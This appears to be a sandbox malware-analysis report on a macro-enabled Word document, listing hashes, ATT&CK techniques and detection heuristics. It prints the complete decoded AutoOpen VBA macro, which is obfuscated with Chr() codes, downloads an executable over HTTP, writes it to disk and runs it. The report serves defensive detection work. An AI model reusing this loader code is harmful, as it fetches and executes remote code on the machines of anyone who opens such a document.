Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 4ed9bea4e3a2aba8…

MALICIOUS

Office (OOXML)

25.2 KB Created: 2021-06-22 09:35:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2021-06-30
MD5: 529a6d2a33c22b7f98c714b7b53313ec SHA-1: a9e09eb80d88acdab8f8d1c971b23ca68a6257f4 SHA-256: 4ed9bea4e3a2aba846367392a5991f5592019c5efb4b83414f73b0e475bc5f2d
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a malicious Office document containing an AutoOpen VBA macro. This macro constructs a URL by concatenating character codes, resulting in 'the embedded link'. It then uses WinHTTP to download the content from this URL and writes it to disk as 'putty.exe', likely executing it afterwards. The presence of CreateObject and Shell() calls, along with obfuscation techniques, indicates a downloader attempting to fetch and run a second-stage payload.

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell Chr(112) & Chr(117) & Chr(116) & Chr(116) & Chr(121) & Chr(46) & Chr(101) & Chr(120) & Chr(101)
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    oStream.Write lllllllll1l.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set lllllllll1l = CreateObject(Chr(77) & Chr(105) & Chr(99) & Chr(114) & Chr(111) & Chr(115) & Chr(111) & Chr(102) & Chr(116) & Chr(46) & Chr(88) & Chr(77) & Chr(76) & Chr(72) & Chr(84) & Chr(84) & Chr(80))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set lllllllll1l = CreateObject(Chr(77) & Chr(105) & Chr(99) & Chr(114) & Chr(111) & Chr(115) & Chr(111) & Chr(102) & Chr(116) & Chr(46) & Chr(88) & Chr(77) & Chr(76) & Chr(72) & Chr(84) & Chr(84) & Chr(80))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2072 bytes
SHA-256: 212048956b9c16cf58945805d73bdf1df75fdf4bf39182b5f9fbebe18783a0ba
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Public Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal Milloseconds As LongPtr)
Sub AutoOpen()
Dim llllllllll1 As String
llllllllll1 = Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(115) & Chr(58) & Chr(47) & Chr(47) & Chr(116) & Chr(104) & Chr(101) & Chr(46) & Chr(101) & Chr(97) & Chr(114) & Chr(116) & Chr(104) & Chr(46) & Chr(108) & Chr(105) & Chr(47) & Chr(126) & Chr(115) & Chr(103) & Chr(116) & Chr(97) & Chr(116) & Chr(104) & Chr(97) & Chr(109) & Chr(47) & Chr(112) & Chr(117) & Chr(116) & Chr(116) & Chr(121) & Chr(47) & Chr(48) & _
Chr(46) & Chr(55) & Chr(53) & Chr(47) & Chr(119) & Chr(54) & Chr(52) & Chr(47) & Chr(112) & Chr(117) & Chr(116) & Chr(116) & Chr(121) & Chr(46) & Chr(101) & Chr(120) & Chr(101)
Dim lllllllll1l As Object
Set lllllllll1l = CreateObject(Chr(77) & Chr(105) & Chr(99) & Chr(114) & Chr(111) & Chr(115) & Chr(111) & Chr(102) & Chr(116) & Chr(46) & Chr(88) & Chr(77) & Chr(76) & Chr(72) & Chr(84) & Chr(84) & Chr(80))
lllllllll1l.Open Chr(71) & Chr(69) & Chr(84), llllllllll1, False, Chr(117) & Chr(115) & Chr(101) & Chr(114) & Chr(110) & Chr(97) & Chr(109) & Chr(101), Chr(112) & Chr(97) & Chr(115) & Chr(115) & Chr(119) _
& Chr(111) & Chr(114) & Chr(100)
lllllllll1l.send
If lllllllll1l.Status = 200 Then
Set oStream = CreateObject(Chr(65) & Chr(68) & Chr(79) & Chr(68) & Chr(66) & Chr(46) & Chr(83) & Chr(116) & Chr(114) & Chr(101) & Chr(97) & Chr(109))
oStream.Open
oStream.Type = 1
oStream.Write lllllllll1l.responseBody
oStream.SaveToFile Chr(112) & Chr(117) & Chr(116) & Chr(116) & Chr(121) & Chr(46) & Chr(101) & Chr(120) & Chr(101), 2
oStream.Close
Shell Chr(112) & Chr(117) & Chr(116) & Chr(116) & Chr(121) & Chr(46) & Chr(101) & Chr(120) & Chr(101)
End If
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 16445281fcdc5abef88c7c90f5e5329c4d5afa7c22a4803df1f89a423f638d05

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